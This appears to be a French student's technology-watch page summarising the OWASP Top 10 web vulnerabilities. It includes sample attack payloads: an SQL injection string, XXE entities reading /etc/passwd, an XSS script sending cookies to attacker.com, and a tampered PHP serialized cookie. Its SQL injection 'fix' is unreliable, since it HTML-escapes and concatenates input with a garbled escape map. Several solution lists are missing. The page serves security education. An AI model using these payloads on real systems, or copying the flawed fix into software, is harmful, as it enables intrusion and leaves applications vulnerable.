Ma veille technologique portera sur le sujet la sécurité des applications web. Pour cela j'ai utilisé plusieurs sites pour m'informer.
(CNRS, LeMagIT, Developpez, le Monde informatique et OWASP), les alertes google et l'agregateur RSS FeedReader.
Pearltrees m'a permis d'organiser toutes les informations collectées et pour la diffusion j'ai choisi mon portfolio et
les réseaux sociaux (Facebook, LinkedIn).
Tout d'abord il fallait limiter le nombre de failles pour ne pas être dépassé par l'information et au final être contre-productif.
Je me suis donc aidé du top 10 des failles publié par OWASP (Open Web Application Security Project).
Voici donc le top 10 des failles de sécurité les plus utilisées pour attaquer une application web :
Des failles d'injection, telles que l'injection SQL, NoSQL, OS et LDAP, se produisent lorsque des données non approuvées sont
envoyées à un interpréteur dans le cadre d'une commande ou d'une requête. Les données hostiles de l'attaquant peuvent inciter
l'interpréteur à exécuter des commandes involontaires ou à accéder aux données sans autorisation appropriée.
Exemple :
Prenons le cas d'une application fictive où l'on peut visualiser le profil d'un utilisateur.
Disons que l'ID de l'utilisateur est 123, on accédera au profil avec l'URL suivante : https://it-fernandeztony.com/users/123.
Le serveur fera une requête à la base de données pour faire le rendu du profil.
// req.params["id"] permet d'accéder à l'ID contenu dans l'URL.
cont query = "SELECT * FROM users WHERE id = '" + req.params["id"] + "'";
Mais si un utilisateur mal intentionné remplace l'ID dans l'URL par du SQL, la requête pourra être modifiée. Si l'ID devient ' or '1' = '1, la requête SQL deviendra :
SELECT * FROM users WHERE id = '' or '1' = '1';
L'égalité que l'on vient d'injecter est toujours vraie,
donc tous les utilisateurs vont être retournés et on pourra utiliser ces données à mauvais escient.
Les injections peuvent causer de la perte, corruption,
ou vol de données et peuvent aller jusqu'à la prise de contrôle totale de l'application et du serveur dans le cas de failles sérieuses.
Solution :
Pour éviter une injection on peut protéger la requête en interdisant les caractères spéciaux de la manière suivante:
function escapeHtml(str)
{
var map =
{
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return str.replace(/[&<>"']/g, function(m) {return map[m];});
}
const query = "SELECT * FROM users WHERE id = '" + escapeHtml(req.params["id"]) + "'";
Les fonctions applicatives liées à l'authentification et à la gestion de session
sont souvent mal implémentées, ce qui permet aux attaquants de compromettre les mots de passe,
les clés ou les jetons de session, ou d'exploiter d'autres failles d'implémentation pour
assumer temporairement ou définitivement l'identité des autres utilisateurs.
Exemple:
Parmi les attaques contre les systèmes d'authentification, la plus répandue est l'utilisation de la force brute.
Pour cela l'attaquant va bombarder la page d'authentification avec des valeurs d'identifiant et de mots de passe jusqu'à ce qu'il se fasse accepter.
Solution:
"Concernant les systèmes d'authentification, l'application ne doit accepter que des mots de passe suffisamment forts
pour éviter d'être devinés rapidement par la force brute. Une longueur minimale de huit caractères est ce qui recommandé
par l'OWASP pour les applications critiques. De plus il doit comporter au moins un chiffre, une lettre en minuscule et une lettre en majuscule.
Le message affiché lors d'un problème de validité de l'identifiant ou du mot de passe doit être générique et ne doit pas
donner d'indice quant à l'origine de l'erreur.
Pour contrer les attaques de force brute, le compte ciblé par l'attaque doit être verrouillé après cinq tentatives
consécutives infructueuses de connexion. La procédure de déverrouillage peut être automatique après un laps de temps
prédéfini ou manuelle par un administrateur de l'application.
Dans la mesure du possible il est conseillé de ne pas développer son propre mécanisme d'authentification.
Il est préférable d'utiliser un système existant éprouvé.
Concernant les identifiants de session, les applications Web doivent limiter la durée de vie d'une session.
Une période d'inactivité maximale doit être définie. Si l'utilisateur n'utilise pas l'application pendant ce laps
de temps, la session devient inutilisable et l'utilisateur doit se reconnecter. Une session doit également avoir une
durée de vie maximale au-delà de laquelle la session expire, même si la période d'inactivité autorisée n'était pas dépassée.
Ces précautions permettent de limiter le temps d'action d'un attaquant.
Du côté client, du code JavaScript doit fermer la session lorsque l'utilisateur ferme le navigateur.
Cela permet de simuler une action de l'utilisateur pour se déconnecter de l'application. Pour que l'utilisateur
évite de perdre des saisies non sauvegardées, du code JavaScript peut prévenir l'utilisateur que sa session va bientôt expirer.
L'identifiant de session doit être généré automatiquement et être suffisamment long pour se prémunir des vols par prédiction.
Pour détecter des attaques de force brute, il faut régulièrement consulter les journaux d'activité à la recherche d'événements inhabituels,
comme un nombre important de requêtes utilisant des identifiants de sessions invalides."
https://web.developpez.com/tutoriels/web/failles-securite-application-web/
De nombreuses applications Web et API ne protègent pas correctement les données sensibles,
telles que les données financières, les soins de santé et les informations personnelles.
Les attaquants peuvent voler ou modifier ces données faiblement protégées pour mener une fraude par carte de crédit,
un vol d'identité ou d'autres crimes. Les données sensibles peuvent être compromises sans protection supplémentaire,
telle que le cryptage au repos ou en transit, et nécessitent des précautions particulières lorsqu'elles sont échangées avec le navigateur.
Exemple :
Un pirate attaque un serveur via par exemple une faille de type injection SQL et récupère ainsi tout ou partie de la base de données.
Cette base de données contient l’ensemble des mots de passe de tous les consommateurs.
Malheureusement, les mots de passe ont été hachés avec un algorithme dépassé (tel que “MD5”).
L’attaquant va pouvoir utiliser ce que l’on appelle des “rainbow tables”,
permettant de faire la correspondance entre des valeurs déjà hachés avec MD5 et les valeurs en clair.
La majorité des mots de passe pourront être exploités.
Solution:
De nombreux processeurs XML plus anciens ou mal configurés évaluent les références d'entités externes dans les documents XML.
Les entités externes peuvent être utilisées pour divulguer des fichiers internes à l'aide du gestionnaire d'URI de fichier,
des partages de fichiers internes, de l'analyse des ports internes, de l'exécution de code à distance et des attaques par déni de service.
Exemple:
Scenario 1 : L'attaquant tente d'extraire des données du serveur :
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
Scenario 2 : Un attaquant scan le réseau privé du serveur en modifiant la ligne ENTITY ci-dessous en :
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
Scenario 3 : Un attaquant tente une attaque par déni de service en incluant un fichier potentiellement sans fin :
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
Solution:
La formation des développeurs est essentielle pour identifier et atténuer les XXE. De plus, prévenir des XXE nécessite :
Les restrictions sur ce que les utilisateurs authentifiés sont autorisés à faire ne sont souvent pas correctement appliquées.
Les attaquants peuvent exploiter ces failles pour accéder à des fonctionnalités et / ou des données non autorisées,
telles que l'accès aux comptes d'autres utilisateurs, afficher des fichiers sensibles, modifier les données d'autres utilisateurs,
modifier les droits d'accès, etc.
Exemple:
Solution:
Les contrôles d'accès ne sont efficaces que s'ils sont appliqués dans du code de confiance côté serveur ou dans des API server-less,
là ou un attaquant ne peut pas modifier les vérifications des contrôles ni les meta-données.
Une mauvaise configuration de la sécurité est le problème le plus courant.
Cela est généralement le résultat de configurations par défaut non sécurisées, de configurations incomplètes ou ad hoc,
d'un stockage dans le cloud ouvert, d'en-têtes HTTP mal configurés et de messages d'erreur détaillés contenant des informations sensibles.
Non seulement tous les systèmes d'exploitation, frameworks, bibliothèques et applications doivent être configurés de manière sécurisée,
mais ils doivent être corrigés / mis à niveau en temps opportun.
Exemple:
Scénario 1 : Le serveur d'application est livré avec des applications classiques qui ne sont pas supprimées du serveur mis en production.
Ces mêmes applications ont des failles de sécurité connues que les attaquants utilisent afin de compromettre le serveur.
Si l'une de ces applications est la console d'administration, et que les comptes par défaut n'ont pas été modifiés,
l'attaquant se connecte avec les mots de passe par défaut et prend la main sur la cible.
Scénario 2 : La fonctionnalité de listage des répertoires n'est pas désactivée sur le serveur.
Un attaquant découvre qu'il peut simplement lister les répertoires. L'attaquant trouve et télécharge les classes Java compilées,
qu'il décompose et fait de l'ingéniérie inversée pour visualiser le code.
L'attaquant trouve alors un grave défaut dans le contrôle d'accès de l'application.
Scénario 3 : La configuration du serveur d'application permet de renvoyer aux utilisateurs des messages d'erreur détaillés,
par exemple avec des traces des couches protocolaires applicatives. Cela peut ainsi exposer des informations sensibles ou des
vulnérabilités sous-jacentes telles que les versions de composants dont on sait qu'elles sont vulnérables.
Scénario 4 : Un fournisseur de services Cloud (CSP) a positionné des droits de partage par défaut qui sont ouverts sur
Internet par d'autres utilisateurs du CSP. Cela permet d'accéder à des données sensibles stockées dans le stockage Cloud.
Solution:
Des processus d'installation sécurisés doivent être mis en œuvre, avec notamment :
Des failles XSS se produisent chaque fois qu'une application inclut des données non approuvées dans une nouvelle
page Web sans validation ou échappement appropriée, ou met à jour une page Web existante avec des données fournies par
l'utilisateur à l'aide d'une API de navigateur qui peut créer du HTML ou du JavaScript. XSS permet aux attaquants
d'exécuter des scripts dans le navigateur de la victime qui peuvent détourner les sessions des utilisateurs,
dégrader des sites Web ou rediriger l'utilisateur vers des sites malveillants.
Exemple:
Scénario : L'application utilise des données non sûres dans la construction du fragment de code HTML sans validation ni technique d'échappement :
(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";
'>
<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
Cette attaque envoie l'ID de session de la victime vers le site web de l'attaquant, lui permettant ainsi de détourner la session active de l'utilisateur.
Note : Les attaquants peuvent utiliser XSS pour invalider les défenses automatisées anti-falsification de requête intersite (CSRF) que l'application peut avoir mises en place.
Solution:
Se protéger des attaques XSS nécessite la séparation des données non sûres du contenu actif du navigateur. Pour cela :
Une désérialisation non sécurisée conduit souvent à l'exécution de code à distance.
Même si les failles de désérialisation n'entraînent pas l'exécution de code à distance,
elles peuvent être utilisées pour effectuer des attaques, y compris des attaques de relecture,
des attaques par injection et des attaques par élévation de privilèges.
Exemple:
Scénario 1 : Une application React appelle un ensemble de microservices Spring Boot. Sensibles à la programmation fonctionnelle,
les développeurs essaient de s'assurer que leur code est immutable. La solution qu'ils ont trouvée consiste à sérialiser l'état
de l'utilisateur et à le transmettre à chaque requête. Un attaquant remarque la signature d'objet Java "R00" et utilise l'outil
Java Serial Killer pour effectuer une exécution de code à distance sur le serveur d'applications.
Scénario 2 : Un forum utilise la sérialisation des objets PHP pour enregistrer un cookie, contenant l'ID utilisateur,
le rôle, le condensat du mot de passe et les autres attributs de l'utilisateur.
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
Un attaquant modifie l'objet sérialisé pour se donner des privilèges d'administrateur :
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
Solution:
La seule architecture logicielle sûre est de ne pas accepter les objets sérialisés provenant de sources non fiables ou
d'utiliser des supports de sérialisation qui autorisent uniquement les types de données primitifs.
Si ce n'est pas possible, envisagez l'une des solutions suivantes :
Les composants, tels que les bibliothèques, les frameworks et d'autres modules logiciels,
s'exécutent avec les mêmes privilèges que l'application. Si un composant vulnérable est exploité,
une telle attaque peut faciliter de graves pertes de données ou une prise de contrôle du serveur.
Les applications et les API utilisant des composants avec des vulnérabilités connues peuvent saper
les défenses des applications et permettre diverses attaques et impacts.
Exemple:
Scénario : Les composants s'exécutent généralement avec le même niveau de privilèges que l'application,
et donc les failles d'un quelconque composant peuvent aboutir à un impact sévère.
Les failles peuvent être accidentelles (ex : erreur de codage) ou intentionnelles
(ex : porte dérobée dans un composant). Voici quelques exemples de découvertes de vulnérabilités exploitables de composants :
Il existe des outils automatiques qui aident les attaquants à trouver des systèmes malconfigurés ou non mis à jour.
Par exemple, le moteur de recherche IoT de Shodan peut vous aider à trouver des objets qui sont encore vulnérables à la faille
Heartbleed corrigée en Avril 2014.
Solutions:
Vous devez mettre en place une gestion des mises à jour pour :
Une journalisation et une surveillance insuffisantes, associées à une intégration manquante ou inefficace
avec la réponse aux incidents, permettent aux attaquants d'attaquer davantage les systèmes, de maintenir
la persistance, de basculer vers plus de systèmes et de falsifier, extraire ou détruire les données.
La plupart des études sur les violations montrent que le temps de détection d'une violation est supérieur à 200 jours,
généralement détecté par des parties externes plutôt que par des processus ou une surveillance internes.
Exemple:
Scénario 1 : Un forum, pour un projet de développement open source d’une petite équipe,
a été piraté à cause d’une faille logicielle. Les attaquants ont effacé le dépôt du code source
de la future version et tout le contenu du forum. Bien que le code ait pu être récupéré, le manque
de supervision, de journalisation et d’alertes ont conduit à une atteinte bien plus grave. Le résultat étant que le projet a été arrêté.
Scénario 2 : Un attaquant teste des accès utilisateurs avec un mot de passe commun. Il pourra accéder à tous les comptes ayant ce mot de passe.
Pour tous les autres utilisateurs, ce test ne laisse qu'une trace de tentative d'accès échoué. Quelques jours après,
ce test peut être réalisé avec un autre mot de passe.
Scénario 3 : Un grand distributeur américain a rapporté qu'une sandbox d’analyse de malware de fichiers attachés,
aurait détecté un logiciel suspect, mais que personne n'a réagi à cette détection.
Il y a eu plusieurs alertes avant que la brèche ne soit découverte par une banque externe à cause d'une transaction par carte frauduleuse.
Solution:
Conformément aux risques évalués sur les données stockées ou gérées par l'application :
On trouve des logiciels, commerciaux ou open source, de protection d'applications tel que OWASP AppSensor,
de pare-feux d'application web (WAF) tel que ModSecurity with the OWASP ModSecurity Core Rule Set et de logiciels de
corrélation de journaux avec des tableaux de bord et d'alertes configurables.